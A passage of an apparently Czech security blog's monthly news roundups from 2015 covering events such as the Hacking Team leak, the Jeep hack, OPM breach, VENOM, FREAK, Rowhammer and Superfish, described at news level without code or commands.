One final interesting news comes from the Czech Republic and concerns signing of a sectoral agreement about cyber security education between commercial and governmental entities.

Looking back at July 2015

Jan Kopriva — Wed, 05 Aug 2015 10:27:36 +0100

The most important IT security-related news in July has definitely been the affair surrounding a theft of data from the Hacking Team – company, which develops commercial spyware intended for use by police departments and other security agencies. More than 400 GB of stolen data were made public and afterwards analyzed by IT security specialists, leading to discovery of a large number (still growing) of zero-day vulnerabilities which were used in Hacking Team’s products.
An interesting news appeared also in connection with vehicle security. Two researchers managed to leverage a vulnerability in a wirelessly accessible on-board entertainment system of a Jeep Cherokee which enabled them to remotely control some of the vehicle’s functions and components, including transmission. Fiat Chrysler has responded to publication of the vulnerability by a recall of 1.4 million of affected vehicles. Similar action in connection with software bugs/vulnerabilities was also taken by Land Rover and Ford.
A mention should be made of a press release by Europol, made in the middle of the month, regarding a successful operation to take down the Darkode cybercriminal forum. Although 28 users and administrators were arrested in, the forum resumed its operation only two weeks later.
Another vulnerability has also been discovered in OpenSSL, which enables an attacker to potentially use invalid certificate as a valid one. A fix for the vulnerability was released only few days after its publication.
An interesting new attack which could lead to extraction of data from an air-gapped system has also been made public. It is based on transmitting a radio signal generated by the computer using a video card bus as an antenna and received by a nearby mobile phone.

Looking back at June 2015

Jan Kopriva — Sat, 18 Jul 2015 17:29:33 +0100

Probably the most interesting of security-related news in June has been an announcement by OPM (Office of Personnel Management of United States), organization which is responsible for HR services and administration of US federal employees, about an attack which exposed records for approximately four million current and past employees. The breach has apparently been active for some time before it was discovered using a special IDS called Einstein. Anonymous US officials attributed the attack to China.
Information about a similar attack in Japan has been made available in June. Personal information about approximately 1.25 million citizens was stolen during the attack. Primary attack vector appears to have been a malicious e-mail attachment.
For owners and users of Apple products might be interesting news about discovery of a vulnerability, which enables attacker to rewrite FW in older (devices shipped before the second half of 2014) Macs. The vulnerability enables the attacker to make changes in BIOS when the device is waking up from sleep (when the FLOCKDN protection which should ensure that some parts of the system are accesible in read-only mode is disabled) which may be used to gain root privileges.

Looking back at May 2015

Jan Kopriva — Fri, 05 Jun 2015 00:00:57 +0100

May has been at least as rich on cybersecurity incidents and events as any of the previous months of the year. Some of the more important are described in the following text.
The VENOM (Virtual Environment Neglected Operations Manipulation) vulnerability may be considered to be a very significant one. VENOM is a vulnerability in the code of a virtual floppy drive which is used by some of the virtualization platforms (QEMU, KVM, Xen). It enables the attacker to access underlying hypervisor from a virtualized OS using a buffer overflow attack. Since the vulnerability is non OS specific its impact is fairly high.
A mention should also be made of another of the TLS/SSL protocol implementation vulnerabilities, the so-called Logjam. Using Logjam, a downgrade of encryption is possible in man in the middle attacks on connections which use Diffie Hellman key exchange algorithm and support its export version.
Finally, it is noteworthy that the government has ratified an Action plan for National Cyber Security Strategy 2015 – 2020. Further information (in Czech) may be found here.

Looking back at April 2015

Jan Kopriva — Sat, 09 May 2015 20:51:28 +0100

During April, we have witnessed - among others - a discovery of an 18 years old “Redirect to SMB” vulnerability which can be used to attack all versions of Windows released since then. The vulnerability can be exploited in cases when attacker has some control over the network, enabling him to gain user login information by redirecting of network traffic to a malicious SMB (server message block) server. The server forces the target to automatic authorization process during which the target sends users login, domain and hashed password.
Next to this vulnerability an April discovery of a modern macro malware BALTEX. It spreads using phishing messages with a link to a page containing an infected Word document and instructions to enable macros. After the downloaded document is opened, the macro downloads a variant of DYRE banking malware.
It is also worth mentioning that the RSA conference was held at the end of April.

Looking back at March 2015

Jan Kopriva — Wed, 01 Apr 2015 00:00:24 +0100

Looking back at March, probably the most important information security news has been discovery of a significant vulnerability (which could be exploited using a FREAK attack) in some TLS/SSL implementations, including the ones used by Windows operating systems.
Another worth while news has been a discovery of a new campaign aimed at energy sector companies in the Middle East. Trojan Laizok - a reconnaissance malware for gathering information about infected systems - has been used in the campaign, along with other malicious programs which have been modified for specific systems based on the information gathered by Laizok.
A mention should also be made about two very powerful DDoS attacks made during the second half of the month - first one was targeted at Greatfire.org and the second one at GitHub. According to published analysis China was the source of both attacks.
Finally, at the end of “Looking back” we shoud mention that in course of March the Rowhammer attack was made public. It is based on changing specific bits in memory by exploiting a weakness in DDR3 memories which leads to priviledge escalation.

Rowhammer - an attack which uses a weakness in DDR3 memory

Jan Kopriva — Tue, 10 Mar 2015 13:57:46 +0100

Researchers from Google’s Project Zero have released information about a new attack based on flipping bits in DDR3 memory. The attack uses approach called Rowhammer which was devised last year by a team from Carnegie Mellon University and Intel Labs. It is based on repeated writing to and reading from a part of memory in a very short time which causes flipping values of bits in adjacent memory (the flipping is made possible by interaction between adjacent memory cells caused by their close proximity).
Using the described principle, researchers from Project Zero created two exploits which they used to successfully elevate user privileges on a x86-64 Linux system where they achieved unrestricted access to the entire physical memory by flipping bits in page table entries (PTEs). In their announcement, they reported that the described approach was successfully used on machines with DDR3 memory without ECC (error correcting code). Flipping of bits has not been seen on machines with ECC memories. Source codes for the test program used to determine if a machine is vulnerable to Rowhammering have been released by the authors and may be found here.

FREAK - a high impact vulnerability in TLS/SSL

Jan Kopriva — Wed, 04 Mar 2015 10:06:49 +0100

An international research team has devised attack called FREAK (Factoring attack on RSA Export Keys) with which it is possible to lower the level of encryption used in SSL connections. Attack is based on forcing server and client to use legacy (the vulnerability has been present for a long time) weak cryptographic suites which are still supported by some of the mainstream browsers (Safari and OpenSSL-based Android browser among others) and servers. After a key has been factored a man-in-the-middle attack may be launched by attacker against encrypted connection between a server and a browser. The aformentioned legacy cryptographic suites have been added to SSL implementations at a time when export regulations for cryptographic material were in effect in USA and only specific (weak) cryptographic suites were legally allowed to be exported. A link to a page containing further information about potentially vulnerable sites and a test for vulnerability on the client side may be found here.

Looking back at February 2015

Jan Kopriva — Tue, 03 Mar 2015 09:58:57 +0100

Dramatic information security incidents and news were unfortunately fairly common in February – we will shortly remember three of the most interesting ones.

Most attention was probably gained by a story about an alleged theft of massive amount of encryption keys used in mobile communication from the network of Dutch company Gemalto (a major SIM card supplier) by NSA and GCHQ. The keys could be used to decrypt live communication and also, for example, remotely inject malicious code into end devices. Source of the story has been The Intercept, citing a document from 2010 which was acquired by Edward Snowden, formerly from the NSA. After the news went public Gemalto stock took a serious hit. The company responded couple of days later by a press release admitting that operation by NSA and GCHQ resulting in penetration of internal company network probably happened, but emphasizing that the penetration “could not have led to a massive theft of encryption keys”. Gemalto further stated that “in the case of eventual key theft, the intelligence services would only be able to spy on second generation 2G mobile network” since “3G and 4G networks are not vulnerable to this type of attack”.

Another high impact February news has been that the Superfish adware (which is used to inject ads into viewed web pages based on analysis of viewed pictures) which Lenovo used to preinstall on their laptops installed a self-signed root certificate. Using that, the adware could generate certificates for web pages which user viewed using encrypted connections, replacing the legitimate certificates and compromising security of communication between the user and the web page. Superfish was then able to analyze and alter the SSL encrypted communication. Furthermore, since the root certificated seems to have been always the same and itself not very secure, its presence in a system constitutes a vulnerability which can be used quite easily by a potential attacker. Since discovering this, lawsuits have been filed against Lenovo and web pages of the company have been defaced.

It should also be noted that in the course of February, after being criticized by Microsoft (among others), Google decided to change the policy of its Project Zero – an initiative which, after a vulnerability has been discovered in an application, gave 90-day deadline to its developers to work on a patch. After the deadline has passed the vulnerability was made public regardless of existence of a patch or its planed later release. This has been the case for Microsoft and a vulnerability in Windows 8.1 when the 90-day deadline ended two days before planned release of a patch during Patch Tuesday, regular release of updates and patches by Microsoft. Google now grants developers up to 2 weeks reprieve after the deadline has passed, provided they are actively working on patching the vulnerability.